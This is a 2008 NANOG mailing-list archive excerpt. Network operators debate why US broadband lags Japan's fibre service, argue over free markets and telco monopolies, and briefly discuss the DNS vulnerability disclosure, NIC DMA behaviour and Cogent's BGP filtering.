> -- +------------------------------------------------------------------+ | James W. Laferriere | System Techniques | Give me VMS | | Network&System Engineer | 2133 McCullam Ave | Give me Linux | | babydr at baby-dragons.com | Fairbanks, AK. 99701 | only on AXP | +------------------------------------------------------------------+ From kgasso-lists at visp.net Sat Jul 26 18:40:13 2008 From: kgasso-lists at visp.net (Kameron Gasso) Date: Sat, 26 Jul 2008 16:40:13 -0700 Subject: So why don't US citizens get this? In-Reply-To: <488BAE0F.10506@cox.net> References: <2A1C15C8503E@xult.org> <488BAE0F.10506@cox.net> Message-ID: <488BB5DD.1040506@visp.net> Laurence F. Sheldon, Jr. wrote: > What in the world does that say? Not to add too much noise to the list, but that MUA (x-mailer: DeadFake Mailer) is sending HTML that's base64 encoded... but with a text/plain content type. Oops? -- Kameron From jgreco at ns.sol.net Sat Jul 26 18:53:29 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Sat, 26 Jul 2008 18:53:29 -0500 (CDT) Subject: So why don't US citizens get this? In-Reply-To: <20080726231139.GA31602@vacation.karoshi.com.> from "bmanning@vacation.karoshi.com" at Jul 26, 2008 11:11:39 PM Message-ID: <200807262353.m6QNrTX0030841@aurora.sol.net> > that said, can I get FIOS w/o any other > Verizon crap? I just want the fiber transport > to an exchange... want my own ISP/peering, not > theirs. They wont sell it. Yup. They got what they wanted. They got concessions to build Clinton's (stupidly named) Information Superhighway, including what some believe to be two HUNDRED BILLION DOLLARS in incentives, which the telcos happily took and gave us ... darn near nothing ... in return. Certainly not what was promised. http://www.newnetworks.com/ShortSCANDALSummary.htm Obviously this has its own axe to grind, but anyone who doesn't understand the fundamental truth, that the telcos greedily accepted this, took the money, and then ended up complaining and lobbying until they were allowed to provide much less, virtually noncompetitively, on terms extremely favorable to their own interests, well, if you don't get that, you're blind. The problem with the free market is that it doesn't work in the public's best interest, but rather in the best interest of the companies involved. This is both a blessing and a curse. Had things developed in the way that was intended, there would have been a virtual decimation of the existing communications companies, and the Internet might have suffered a good bit as well. I think we'd have gotten over it, though, and certainly we'd be much better connected now. The challenges would be very interesting. Imagine being faced with the prospect of having customers wanting to use 45 megabits of bidirectional capacity. You'd have to find some interesting new technologies. Like the InterneTiVo I was talking about a while back. ;-) ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From blakjak at blakjak.net Sat Jul 26 19:01:26 2008 From: blakjak at blakjak.net (Mark Foster) Date: Sun, 27 Jul 2008 12:01:26 +1200 (NZST) Subject: So why don't US citizens get this? In-Reply-To: <488BB5DD.1040506@visp.net> References: <2A1C15C8503E@xult.org> <488BAE0F.10506@cox.net> <488BB5DD.1040506@visp.net> Message-ID: deadfake.com offer anonymised email services with no signup. Does this not immediately raise questions in itself? Or am I just unnaturally suspicious of such services? Have to admitt as soon as I see traffic relayed by a system such as that, I stop putting much stock in its content... Mark. On Sat, 26 Jul 2008, Kameron Gasso wrote: > Laurence F. Sheldon, Jr. wrote: >> What in the world does that say? > > Not to add too much noise to the list, but that MUA (x-mailer: DeadFake > Mailer) is sending HTML that's base64 encoded... but with a text/plain > content type. Oops? > > -- Kameron > > > From chris.stebner at gmail.com Sat Jul 26 19:22:59 2008 From: chris.stebner at gmail.com (Chris Stebner) Date: Sat, 26 Jul 2008 17:22:59 -0700 Subject: So why don't US citizens get this? In-Reply-To: <20080726231139.GA31602@vacation.karoshi.com.> References: <20080726231139.GA31602@vacation.karoshi.com.> Message-ID: <488BBFE3.40601@gmail.com> [1]bmanning at vacation.karoshi.com wrote: well... hard to tell... Secure Connection Failed asahi-net.jp uses an invalid security certificate. The certificate is not trusted because the issuer certificate is not trusted. that said, can I get FIOS w/o any other Verizon crap? I just want the fiber transport to an exchange... want my own ISP/peering, not theirs. They wont sell it. --bill On Sat, Jul 26, 2008 at 06:00:47PM -0500, [2]Guy_Shields at Stream.Com wrote: We do its called FIOS. ----- Original Message ----- From: natalidel Sent: 07/26/2008 11:56 PM CET To: [3]nanog at nanog.org Subject: So why don't US citizens get this? [4]https://asahi-net.jp/en/service/ftth.html -- hmm?
BILL, im getting bounce backs on all the email I send you, can you contact me (off thread obviously) regarding the IP allocation you set up, need to get that guy finished up? -chris References 1. mailto:bmanning at vacation.karoshi.com 2. mailto:Guy_Shields at Stream.Com 3. mailto:nanog at nanog.org 4. https://asahi-net.jp/en/service/ftth.html From ml at t-b-o-h.net Sat Jul 26 19:24:29 2008 From: ml at t-b-o-h.net (Tuc at T-B-O-H.NET) Date: Sat, 26 Jul 2008 20:24:29 -0400 (EDT) Subject: So why don't US citizens get this? In-Reply-To: Message-ID: <200807270024.m6R0OT0r013126@himinbjorg.tucs-beachin-obx-house.com> Hi, So far with 2 test messages, neither have been delivered. It also does claim it leaves your IP in the email so there IS some "tracking" approximately where it came from. I can't verify, of course, since 2 messages have gone into never never land for me. Doesn't look like it ever got delivered. Maybe one of my RBL's are stopping it. Tuc > > deadfake.com offer anonymised email services with no signup. Does this > not immediately raise questions in itself? > > Or am I just unnaturally suspicious of such services? > > Have to admitt as soon as I see traffic relayed by a system such as that, > I stop putting much stock in its content... > > Mark. > > On Sat, 26 Jul 2008, Kameron Gasso wrote: > > > Laurence F. Sheldon, Jr. wrote: > >> What in the world does that say? > > > > Not to add too much noise to the list, but that MUA (x-mailer: DeadFake > > Mailer) is sending HTML that's base64 encoded... but with a text/plain > > content type. Oops? > > > > -- Kameron > > > > > > > From darcy at druid.net Sat Jul 26 19:36:02 2008 From: darcy at druid.net (D'Arcy J.M. Cain) Date: Sat, 26 Jul 2008 20:36:02 -0400 Subject: So why don't US citizens get this? In-Reply-To: <200807262353.m6QNrTX0030841@aurora.sol.net> References: <20080726231139.GA31602@vacation.karoshi.com.> <200807262353.m6QNrTX0030841@aurora.sol.net> Message-ID: <20080726203602.22c01e1e.darcy@druid.net> On Sat, 26 Jul 2008 18:53:29 -0500 (CDT) Joe Greco wrote: > http://www.newnetworks.com/ShortSCANDALSummary.htm > > Obviously this has its own axe to grind, but anyone who doesn't understand > the fundamental truth, that the telcos greedily accepted this, took the > money, and then ended up complaining and lobbying until they were allowed > to provide much less, virtually noncompetitively, on terms extremely > favorable to their own interests, well, if you don't get that, you're > blind. > > The problem with the free market is that it doesn't work in the public's > best interest, but rather in the best interest of the companies involved. Say What? You talk about government mandated monopolies, government subsidies and massive government regulation and then point to it as a failure of the free market? Do you even know what "free market" means? -- D'Arcy J.M. Cain | Democracy is three wolves http://www.druid.net/darcy/ | and a sheep voting on +1 416 425 1212 (DoD#0082) (eNTP) | what's for dinner. From chris.stebner at gmail.com Sat Jul 26 19:52:27 2008 From: chris.stebner at gmail.com (Chris Stebner) Date: Sat, 26 Jul 2008 17:52:27 -0700 Subject: (exchange point) EP.net Message-ID: <488BC6CB.5080706@gmail.com> Can anyone involved with EP.net (bill?) pls contact me? Ive been trying to get a hold of someone for about two weeks now with no luck regarding an allocation and problems with it. Thanks Much, Chris From hannigan at gmail.com Sat Jul 26 20:16:46 2008 From: hannigan at gmail.com (Martin Hannigan) Date: Sat, 26 Jul 2008 21:16:46 -0400 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <200807261740470.32BF5B92.5810@clifden.donelan.com> References: <488B6459.7040006@psg.com> <200807262005.m6QK5I5u019713@aurora.sol.net> <20080726211610.GA30885@vacation.karoshi.com.> <200807261740470.32BF5B92.5810@clifden.donelan.com> Message-ID: <2d106eb50807261816j914db08q7ec490308a8ebde@mail.gmail.com> How about blacklists for; Outdated and insecure IOS Outdated and insecure SSH Outdated and insecure Unix implementations Spam appliancesOutdated OS images everywhere Outdated and insecure dns Outdated and insecure proxies Outdated and insecure mysql, php, etc Richard Stallman for rms/rms One worthy example of leadership related to this current issue is RCN. They apparently scanned their customer networks for this vuln and called the vulnerable customer advising them of the problem and politely requesting a fix. Reinforces why full disclosure is better as well. Who got the early warnings? Better yet, who didn't? Best, Marty On 7/26/08, Sean Donelan wrote: > On Sat, 26 Jul 2008, bmanning at vacation.karoshi.com wrote: >> there you go. the massive effort to patch would likley have >> better been spent to actually -sign- the stupid zones and >> work out key distribution. but no... running around like >> the proverbial headless chicken seems to get the PR. > > Maybe someone could publish a blacklist of vulnerable recursive > name servers, and then F-Root, the other root name servers, > and other "popular" sites could start refusing to answer queries > from vunerable name servers until after the blacklist operator decides > they've patched their recursive server sufficiently? > > Maybe that would get their attention and encourage them to apply > resources to the problem? > > Extreme situations justify extreme measures; or how extreme do > you believe justifies what measures? > > -- Sent from Gmail for mobile | mobile.google.com From jgreco at ns.sol.net Sat Jul 26 23:37:09 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Sat, 26 Jul 2008 23:37:09 -0500 (CDT) Subject: So why don't US citizens get this? In-Reply-To: <20080726203602.22c01e1e.darcy@druid.net> from "D'Arcy J.M. Cain" at Jul 26, 2008 08:36:02 PM Message-ID: <200807270437.m6R4b98e039663@aurora.sol.net> > On Sat, 26 Jul 2008 18:53:29 -0500 (CDT) > Joe Greco wrote: > > http://www.newnetworks.com/ShortSCANDALSummary.htm > > > > Obviously this has its own axe to grind, but anyone who doesn't understand > > the fundamental truth, that the telcos greedily accepted this, took the > > money, and then ended up complaining and lobbying until they were allowed > > to provide much less, virtually noncompetitively, on terms extremely > > favorable to their own interests, well, if you don't get that, you're > > blind. > > > > The problem with the free market is that it doesn't work in the public's > > best interest, but rather in the best interest of the companies involved. > > Say What? You talk about government mandated monopolies, government > subsidies and massive government regulation and then point to it as a > failure of the free market? Do you even know what "free market" means? Yes, I do. The free market is a system where corporations like to take the easiest road to do the least work to maximize profits, while everyone else is doing the same thing. Normally, this might merely result in the sort of situation you have with Wal-Mart vs K-Mart vs Target, where the consumer gets to trade off different variables (quality of goods, price of goods, condition of store, etc). In the case of telecommunications, however, certain telecommunications companies looked around at the situation and determined it was most easily accomplished by lobbying the government for pseudo-monopoly status, in exchange for promises of an "open network," followed by repeated backpedaling so they wind up providing less on a closed-to-the-competition network, and an easily hoodwinked government that agrees to all of this, with the end result that you wind up with a monopoly (or duopoly). By doing so, one (two) large corporation "wins," maximizing profit while minimizing expenditures *and* competition. The free market created this situation, because, without separation of the network from the service providers, or without stern and fair oversight and regulation, the natural tendency of the free market system will be for the party that owns the last mile infrastructure to see it as "theirs" (hello Ed Whitacre!) and to try to make it as difficult as possible for the competition. This results in things like Ameritech selling wholesale DSL circuits to CLEC's and ISP's for *more* than what they're selling them at retail for via Ameritech's own ISP service. If it isn't readily apparent that I understand what "free market" means, and how our government has caved in to give us anything BUT a free market, well, sigh. The free market has a really tough time operating in an environment where the government ultimately enables and gives a blank check to monopolies. The telcos might disagree... it's a free market... they're free to market whatever they want. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From fergdawg at netzero.net Sat Jul 26 23:58:37 2008 From: fergdawg at netzero.net (Paul Ferguson) Date: Sun, 27 Jul 2008 04:58:37 GMT Subject: Deja Vu [Was: Re: So why don't US citizens get this?] Message-ID: <20080726.215837.8155.1@webmail11.vgs.untd.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -- Joe Greco wrote: >The telcos might disagree... it's a free market... they're free to >market whatever they want. And they do. Rightfully so, I suppose. I think the issue that was being discussed -- which I shouldn't probably compel -- is the fact that questionable decisions have been in the U.S. regulatory process which favor monopoly interests. Free markets have a tendency to become "un-free" when monopolistic positioning becomes entrenched -- and even preferred by government bureaucrats. But allow to me apologize now for my non-technical response, although I feel compelled myself to point out the obvious. We just don't have the competitive choices we should, as consumers. What is old, seems to be new again, unfortunately. $.02, - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.6.3 (Build 3017) wj8DBQFIjABTq1pz9mNUZTMRAjy2AKCW+hRG+VKsTLqVdv48MyecZZClmwCeNe7I BSq9TB1EtsQqJwgl5/LaRag= =8Ovk -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(at)netzero.net ferg's tech blog: http://fergdawg.blogspot.com/ From petri at helenius.fi Sun Jul 27 01:12:58 2008 From: petri at helenius.fi (Petri Helenius) Date: Sun, 27 Jul 2008 09:12:58 +0300 Subject: Software router state of the art In-Reply-To: <3c3e3fca0807261246p15447c54j4fbbe213eaf745e0@mail.gmail.com> References: <3c3e3fca0807231117u27d01471pf5b88edca4ae729f@mail.gmail.com> <20080723195952.98B854500E@ptavv.es.net> <3c3e3fca0807231351i5f2fc6f4g4a670e0f405342c3@mail.gmail.com> <488B61A6.4040106@helenius.fi> <3c3e3fca0807261246p15447c54j4fbbe213eaf745e0@mail.gmail.com> Message-ID: <488C11EA.5000601@helenius.fi> William Herrin wrote: > The pro/1000 does not need to generate an interrupt in order to start > a DMA transfer? Can you refer me to some documents which explain in > detail how a card on the bus sets up a DMA transfer? > The driver provides the adapter a ring buffer of memory locations to busmaster dma the data into (which does not require interrupting the CPU). The interrupts are triggered after the DMA completes and in moderation controllable by the driver. For FreeBSD the default maxes interrupts out at 8000 per second and on some of the adapters there are firmware optimizations for lowering the latency from the obvious maximum of 125 microseconds. When an interrupt is fired the driver restocks the ring buffer with new addresses to put data into, for one or for 4000 frames, depending on how many were used up. With IOAT and various offloads this gets somewhat more complicated and more effective. Pete From fred at cisco.com Sun Jul 27 01:38:25 2008 From: fred at cisco.com (Fred Baker) Date: Sun, 27 Jul 2008 07:38:25 +0100 Subject: So why don't US citizens get this? In-Reply-To: <200807270437.m6R4b98e039663@aurora.sol.net> References: <200807270437.m6R4b98e039663@aurora.sol.net> Message-ID: <3F238A37-F4F0-4F36-AA24-DF2A56CA4EB3@cisco.com> On Jul 27, 2008, at 5:37 AM, Joe Greco wrote: > Yes, I do. The free market is a system where corporations like to > take > the easiest road to do the least work to maximize profits, while > everyone > else is doing the same thing. Recognizing your biases here, I think an economist might define it a little differently. For example, see http://www.investorwords.com/2086/free_market.html . The key thing in that definition is the lack of government intervention in its various forms. That's D'Arcy's point. Where there is government subsidy, regulation, or other intervention, it cannot be described as a free market. From dhc2 at dcrocker.net Sun Jul 27 01:58:03 2008 From: dhc2 at dcrocker.net (Dave Crocker) Date: Sun, 27 Jul 2008 07:58:03 +0100 Subject: So why don't US citizens get this? In-Reply-To: <3F238A37-F4F0-4F36-AA24-DF2A56CA4EB3@cisco.com> References: <200807270437.m6R4b98e039663@aurora.sol.net> <3F238A37-F4F0-4F36-AA24-DF2A56CA4EB3@cisco.com> Message-ID: <488C1C7B.4050205@dcrocker.net> Fred Baker wrote: > The key thing in that definition is the lack of government intervention > in its various forms. That's D'Arcy's point. Where there is government > subsidy, regulation, or other intervention, it cannot be described as a > free market. I have always understood the issue to be the presence or absence of unfettered competition. Competition is good. It's lack is bad. Government can be one source of fettering. So can monopolization. So can post-purchase lock-in. Anything that restricts the ability of the consumer to make on-going choices for alternate sources of products and services. Which is to say, anything that alters the incentives of companies to provide better products at better prices. We ought to stop saying 'free' and instead say 'competitive'. d/ -- Dave Crocker Brandenburg InternetWorking bbiw.net From randy at psg.com Sun Jul 27 03:18:20 2008 From: randy at psg.com (Randy Bush) Date: Sun, 27 Jul 2008 09:18:20 +0100 Subject: So why don't US citizens get this? In-Reply-To: References: <2A1C15C8503E@xult.org> <488BAE0F.10506@cox.net> <488BB5DD.1040506@visp.net> Message-ID: <488C2F4C.7080800@psg.com> Mark Foster wrote: > deadfake.com offer anonymised email services with no signup. Does this > not immediately raise questions in itself? > > Or am I just unnaturally suspicious of such services? > > Have to admitt as soon as I see traffic relayed by a system such as > that, I stop putting much stock in its content... shoot the messenger, eh? the fact is that real 100m/100m is about USD30/mo in japan. in the states, i pay about USD90 for 256k/768k. as far as the internet is concerned, the united states is a third world country. randy From jfmezei at vaxination.ca Sun Jul 27 03:34:38 2008 From: jfmezei at vaxination.ca (=?ISO-8859-1?Q?Jean-Fran=E7ois_Mezei?=) Date: Sun, 27 Jul 2008 04:34:38 -0400 Subject: So why don't US citizens get this? In-Reply-To: <488C1C7B.4050205@dcrocker.net> References: <200807270437.m6R4b98e039663@aurora.sol.net> <3F238A37-F4F0-4F36-AA24-DF2A56CA4EB3@cisco.com> <488C1C7B.4050205@dcrocker.net> Message-ID: <488C331E.6090402@vaxination.ca> Dave Crocker wrote: > I have always understood the issue to be the presence or absence of unfettered > competition. Competition is good. It's lack is bad. The problem is that it is rather hard to enable full competitive environment in the last mile. No city, no citizen wants to have 300 wires running along the poles on streets. In fact, a properly managed monopoly (with rules to grant access to the last mile) can probably financially justify deploying fibre to the home far more easily than in a competitive environment. The big problem in north america is whoever decided to make ADSL work on old copper. Had ADSL never materialised, the telcos would have been forced to put fibre to the homes. But now that they have invested in the ADSL quagmire, it becomes much harder for them to justify fibre to the home. But a CEO with vision would get the telco to stop deploying remotes everywhere and leverage the fibre's ability to reach longer distances and cover neighbourhoods with far fewer remote/nodes. The problem is that CEOs are not hired for their vision, they are hired for their ability to please wall street casino analysts (who in term please shareholders with their articles in the various wall street casino newspapers/magazines). Competition only works when the goal is to please customers. It does not work when the goal is to screw customers as much as they will tolerate. (Consider mobile telephony in north america, especially Rogers/Bell/Telus in canada). From natalidel at mailinator.com Sun Jul 27 03:36:39 2008 From: natalidel at mailinator.com (natalidel at mailinator.com) Date: 27 Jul 2008 09:36:39 +0100 Subject: So why don't US citizens get this? Message-ID: <2C28A764789D@xult.org> Randy Bush <randy at psg.com> at Sun Jul 27 08:18:20 UTC 2008 said:
> shoot the messenger, eh?
> the fact is that real 100m/100m is about USD30/mo in japan.  in the
> states, i pay about USD90 for 256k/768k. as far as the internet is
> concerned, the united states is a third world country.
>
> randy

This is exactly my point, why is it that the US is so behind???

-- No, this email's not real, it's http://deadfake.com From karnaugh at karnaugh.za.net Sun Jul 27 03:46:43 2008 From: karnaugh at karnaugh.za.net (Colin Alston) Date: Sun, 27 Jul 2008 10:46:43 +0200 Subject: So why don't US citizens get this? In-Reply-To: <488C2F4C.7080800@psg.com> References: <2A1C15C8503E@xult.org> <488BAE0F.10506@cox.net> <488BB5DD.1040506@visp.net> <488C2F4C.7080800@psg.com> Message-ID: <488C35F3.5010909@karnaugh.za.net> On 2008/07/27 10:18 AM Randy Bush wrote: > the fact is that real 100m/100m is about USD30/mo in japan. in the > states, i pay about USD90 for 256k/768k. as far as the internet is > concerned, the united states is a third world country. I currently pay (converted from ZAR to USD) $40/m for 192k/384k DSL. That gives me a pair to the exchange DSLAM, no internet. On top of that, I pay $10/m for each GB used on that line. My average spend on plain old POTS DSL is $100/m. If the US is the third world of telecoms, S.A. is the 50th world. Please /do/ moan about government incompetence, drug induced legislation and failure for the stupidest people on this earth to understand free market economy (and where it works). Please /don't/ pretend to be in the worst position out there, because I have some gruelling stories to tell... :) From john at vanoppen.com Sun Jul 27 04:59:27 2008 From: john at vanoppen.com (John van Oppen) Date: Sun, 27 Jul 2008 02:59:27 -0700 Subject: cogent bgp filtering policies? Message-ID: Now that I am on my third round of an email argument with cogent's support department about adding prefixes to our filters (and them not understanding why I want le 24 matches on the blocks from which we allocate subnets to multi-homed customers) I figure it would be a good idea to ask if anyone has ever gotten cogent to setup any IRR based filtering on a customer connection. We are a small-ish regional transit provider in the northwest announcing > 100 prefixes and just spent the last few days writing emails and calling trying to get cogent to accept more than 30% of the routes we were announcing. We have IRR (radb to be specific) filters set up with our other four providers which really lowered my tolerance for having to go round and round to get prefixes added. Heck, at this point I would settle for a direct email address for their engineering department just to avoid the arguments with the support monkeys. I should note that this is actually the second time I have had this issue (the last time was with one of our customers and their cogent connection) even though we only turned up our service recently. John van Oppen AS11404 From president at ukraine.su Sun Jul 27 05:50:11 2008 From: president at ukraine.su (Max Tulyev) Date: Sun, 27 Jul 2008 13:50:11 +0300 Subject: So why don't US citizens get this? In-Reply-To: <2A1589C159A8@xult.org> References: <2A1589C159A8@xult.org> Message-ID: <488C52E3.6030807@ukraine.su> Hi All, we are rendering similar (but up to 1Gbps to home) service. This is also very popular in Russia. This type of network is much cheaper to build and much cheaper in maintain than ADSL or CaTV (DOCSIS). The problem is... USERS!!! A regular user just don't understand the difference. That's why first houses covered is where no coverage of any type of Internet connection at all. But if there is something - people continue to use DSLs, even if not happy with it. I hear from my colleges about a pilot-project in New York, but it is about 1000 users. If somebody here interesting in this technology and business, please, contact me off-list. natalidel at mailinator.com wrote: > https://asahi-net.jp/en/service/ftth.html -- hmm?
-- WBR, Max Tulyev (MT6561-RIPE, 2:463/253 at FIDO) From president at ukraine.su Sun Jul 27 05:58:56 2008 From: president at ukraine.su (Max Tulyev) Date: Sun, 27 Jul 2008 13:58:56 +0300 Subject: Deja Vu [Was: Re: So why don't US citizens get this?] In-Reply-To: <20080726.215837.8155.1@webmail11.vgs.untd.com> References: <20080726.215837.8155.1@webmail11.vgs.untd.com> Message-ID: <488C54F0.1060209@ukraine.su> even in deep Russia ETTH/FTTH networks bites big state monopolies. So I think just somebody is too lazy to do something :) Paul Ferguson wrote: > -- Joe Greco wrote: > >> The telcos might disagree... it's a free market... they're free to >> market whatever they want. > > And they do. Rightfully so, I suppose. > > I think the issue that was being discussed -- which I shouldn't > probably compel -- is the fact that questionable decisions have > been in the U.S. regulatory process which favor monopoly interests. > > Free markets have a tendency to become "un-free" when monopolistic > positioning becomes entrenched -- and even preferred by government > bureaucrats. > > But allow to me apologize now for my non-technical response, > although I feel compelled myself to point out the obvious. We just > don't have the competitive choices we should, as consumers. > > What is old, seems to be new again, unfortunately. > > $.02, > > - ferg > -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(at)netzero.net ferg's tech blog: http://fergdawg.blogspot.com/ -- WBR, Max Tulyev (MT6561-RIPE, 2:463/253 at FIDO) From john-nanog at johnpeach.com Sun Jul 27 08:27:16 2008 From: john-nanog at johnpeach.com (John Peach) Date: Sun, 27 Jul 2008 09:27:16 -0400 Subject: So why don't US citizens get this? In-Reply-To: <488C2F4C.7080800@psg.com> References: <2A1C15C8503E@xult.org> <488BAE0F.10506@cox.net> <488BB5DD.1040506@visp.net> <488C2F4C.7080800@psg.com> Message-ID: <20080727092716.24fa1faa@milhouse.peachfamily.net> On Sun, 27 Jul 2008 09:18:20 +0100 Randy Bush wrote: > Mark Foster wrote: > > deadfake.com offer anonymised email services with no signup. Does > > this not immediately raise questions in itself? > > > > Or am I just unnaturally suspicious of such services? > > > > Have to admitt as soon as I see traffic relayed by a system such as > > that, I stop putting much stock in its content... > > shoot the messenger, eh? > > the fact is that real 100m/100m is about USD30/mo in japan. in the > states, i pay about USD90 for 256k/768k. as far as the internet is > concerned, the united states is a third world country. > Obviously not the same part of the US as me. I pay $65/month for 5m/30m. -- John From darcy at druid.net Sun Jul 27 09:14:16 2008 From: darcy at druid.net (D'Arcy J.M. Cain) Date: Sun, 27 Jul 2008 10:14:16 -0400 Subject: OT: Free Market In-Reply-To: <200807270437.m6R4b98e039663@aurora.sol.net> References: <20080726203602.22c01e1e.darcy@druid.net> <200807270437.m6R4b98e039663@aurora.sol.net> Message-ID: <20080727101416.1197cfd4.darcy@druid.net> On Sat, 26 Jul 2008 23:37:09 -0500 (CDT) Joe Greco wrote: > > > The problem with the free market is that it doesn't work in the public's > > > best interest, but rather in the best interest of the companies involved. > > > > Say What? You talk about government mandated monopolies, government > > subsidies and massive government regulation and then point to it as a > > failure of the free market? Do you even know what "free market" means? > > Yes, I do. The free market is a system where corporations like to take > the easiest road to do the least work to maximize profits, while everyone > else is doing the same thing. Normally, this might merely result in the > sort of situation you have with Wal-Mart vs K-Mart vs Target, where the > consumer gets to trade off different variables (quality of goods, price > of goods, condition of store, etc). In the case of telecommunications, > however, certain telecommunications companies looked around at the situation > and determined it was most easily accomplished by lobbying the government > for pseudo-monopoly status, in exchange for promises of an "open network," But if the government is in a position to "grant" monopoly status how can you call that "free?" Free from what? > The free market created this situation, because, without separation of Companies lobbied for this situation. The non-free market (i.e. government) forces everyone else to stay out of the market. Force != free. > If it isn't readily apparent that I understand what "free market" means, > and how our government has caved in to give us anything BUT a free market, > well, sigh. The free market has a really tough time operating in an > environment where the government ultimately enables and gives a blank > check to monopolies. Perhaps we are just in violent agreement disagreeing over terminology then but to me a free market is free of government interference. You seem to be describing a "market" that responds to the given situation, not a free market. This should probably be taken off list. -- D'Arcy J.M. Cain | Democracy is three wolves http://www.druid.net/darcy/ | and a sheep voting on +1 416 425 1212 (DoD#0082) (eNTP) | what's for dinner. From jgreco at ns.sol.net Sun Jul 27 09:29:38 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Sun, 27 Jul 2008 09:29:38 -0500 (CDT) Subject: So why don't US citizens get this? In-Reply-To: <3F238A37-F4F0-4F36-AA24-DF2A56CA4EB3@cisco.com> from "Fred Baker" at Jul 27, 2008 07:38:25 AM Message-ID: <200807271429.m6RETcOg096926@aurora.sol.net> > On Jul 27, 2008, at 5:37 AM, Joe Greco wrote: > > Yes, I do. The free market is a system where corporations like to > > take > > the easiest road to do the least work to maximize profits, while > > everyone > > else is doing the same thing. > > Recognizing your biases here, I think an economist might define it a > little differently. For example, see http://www.investorwords.com/2086/free_market.html > .. > > The key thing in that definition is the lack of government > intervention in its various forms. That's D'Arcy's point. Where there > is government subsidy, regulation, or other intervention, it cannot be > described as a free market. Actually, it could... but you have to understand the situation better. The main problem is that it isn't economically feasible for dozens of providers to each build their own last mile infrastructure. In what has got to be an unusual turn of events, we ended up with multiple last mile infrastructures (cable, DSL, maybe wireless). The goal of the National Information Infrastructure was to have a single fiber entering the home, providing net, tone, tele, etc. As a practical matter, it was always assumed that the most likely way that this would happen would be for the telcos to do it, replacing copper plant in the process. To that end, a lot of changes and concessions were granted to the telcos, to pay them for building this thing. This part was certainly always pictured to be a government subsidy or government granted "monopoly", because it makes as little sense to have multiple players here as it does for there to be multiple power companies delivering power, or multiple water utilities, etc. However, what happens at the upstream node was very much intended to be a free market system, with the LM-telco providing equal access to everyone. Including themselves. And that's the problem, there. The incentive to provide nonequal access to themselves is quite high, and without any meaningful regulation of the last mile portion of their business, lack of regulation being what they fought tooth and nail for, that's how it ended up. So now you have ILEC's not doing fiber-to-the-home because it "isn't economical or needed," which many feel is a rip-off, since the ILEC's were compensated for their trouble and they took the funds and translated it to profit. Then you had the ILEC's trying to block CLEC access to the facilities. This ranged from "our CO is full, we have no space for them" to denying access for failure to comply with ever-changing rules that they don't notify anybody about in a reasonable fashion (http://isp-lists.isp-planet.com/isp-clec/0801/msg00006.html) When it became clear that the CLEC's were still going to try to do business, you then saw a move towards deployment of things like FIOS and Lightspeed, combined with lobbying, that allowed CLEC-lockout on the new, faster DSL networks. I'm not going to go further, or into more detail, because this is pretty much nonoperational in nature, except that it's a sin that most people in the networking business think that what has happened is equitable, or is fair, or makes any sense. We wanted a fast, neutral last mile network. Had we regulated the last mile provider properly, we could have had it. That would have left us with a network where true free market forces could have allowed all players, including the company providing the last mile, to provide services on top of that last mile. That so clearly didn't happen. You can probably find worthwhile reading (somewhat slanted, my guess, but still likely better than the understanding most people seem to have about all this) at http://www.newnetworks.com/ShortSCANDALSummary.htm This will be my last post along this thread, due to thread drift. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From darcy at druid.net Sun Jul 27 09:42:13 2008 From: darcy at druid.net (D'Arcy J.M. Cain) Date: Sun, 27 Jul 2008 10:42:13 -0400 Subject: So why don't US citizens get this? In-Reply-To: <200807271429.m6RETcOg096926@aurora.sol.net> References: <3F238A37-F4F0-4F36-AA24-DF2A56CA4EB3@cisco.com> <200807271429.m6RETcOg096926@aurora.sol.net> Message-ID: <20080727104213.6b24e043.darcy@druid.net> On Sun, 27 Jul 2008 09:29:38 -0500 (CDT) Joe Greco wrote: > > The key thing in that definition is the lack of government > > intervention in its various forms. That's D'Arcy's point. Where there > > is government subsidy, regulation, or other intervention, it cannot be > > described as a free market. > > Actually, it could... but you have to understand the situation better. Ah. I didn't realize that I just didn't understand the situation as well as you. Thanks for setting me straight. If you call a tail a leg, how many legs does a dog have? Four. Calling a tail a leg doesn't make it one. Abraham Lincoln As I said, I mostly agree with you in your analysis. The main thing I differ on is your definition. The market is not free and just calling it free doesn't change that. > This will be my last post along this thread, due to thread drift. Me too. -- D'Arcy J.M. Cain | Democracy is three wolves http://www.druid.net/darcy/ | and a sheep voting on +1 416 425 1212 (DoD#0082) (eNTP) | what's for dinner. From LarrySheldon at cox.net Sun Jul 27 09:51:57 2008 From: LarrySheldon at cox.net (Laurence F. Sheldon, Jr.) Date: Sun, 27 Jul 2008 09:51:57 -0500 Subject: So why don't US citizens get this? In-Reply-To: <20080727104213.6b24e043.darcy@druid.net> References: <3F238A37-F4F0-4F36-AA24-DF2A56CA4EB3@cisco.com> <200807271429.m6RETcOg096926@aurora.sol.net> <20080727104213.6b24e043.darcy@druid.net> Message-ID: <488C8B8D.8070707@cox.net> D'Arcy J.M. Cain wrote: > On Sun, 27 Jul 2008 09:29:38 -0500 (CDT) > Joe Greco wrote: >>> The key thing in that definition is the lack of government >>> intervention in its various forms. That's D'Arcy's point. Where there >>> is government subsidy, regulation, or other intervention, it cannot be >>> described as a free market. >> Actually, it could... but you have to understand the situation better. > > Ah. I didn't realize that I just didn't understand the situation as > well as you. Thanks for setting me straight. > > If you call a tail a leg, how many legs does a dog have? > Four. Calling a tail a leg doesn't make it one. > Abraham Lincoln You don';t 